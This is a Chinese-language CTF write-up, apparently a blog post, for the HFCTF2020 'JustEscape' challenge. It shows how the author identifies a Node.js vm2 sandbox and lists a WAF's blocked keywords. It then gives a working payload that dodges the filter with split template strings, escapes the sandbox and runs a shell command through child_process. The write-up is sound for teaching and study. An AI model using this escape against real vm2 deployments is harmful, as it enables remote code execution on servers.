[HFCTF2020]JustEscape

有两个提升

注意编码和真的是PHP嘛

直接访问php文件试试看

发现源码

<?php
if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
    $code = $_GET['code'];
    echo eval(code);
} else {
    highlight_file(__FILE__);
}
?>

上面的这个真是php有点奇怪

猜测应该不是php

 使用Errot().stack测试一下,回显了一堆报错信息

 

 发现是vm2的沙盒逃逸

直接去https://github.com/patriksimek/vm2/issues/225

有vm2的exp

直接使用发现被waf拦下

 

 测试得到以下字符被过滤了

['for', 'while', 'process', 'exec', 'eval', 'constructor', 'prototype', 'Function', '+', '"',''']
prototype被过滤了,就可以换成
`${`${`prototyp`}e`}`

修改过的payload

(function (){
    TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
    try{
        Object.preventExtensions(Buffer.from(``)).a = 1;
    }catch(e){
        return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
    }
})()

 

 

 

posted @ 2022-03-29 20:16  c0d1  阅读(239)  评论(0编辑  收藏  举报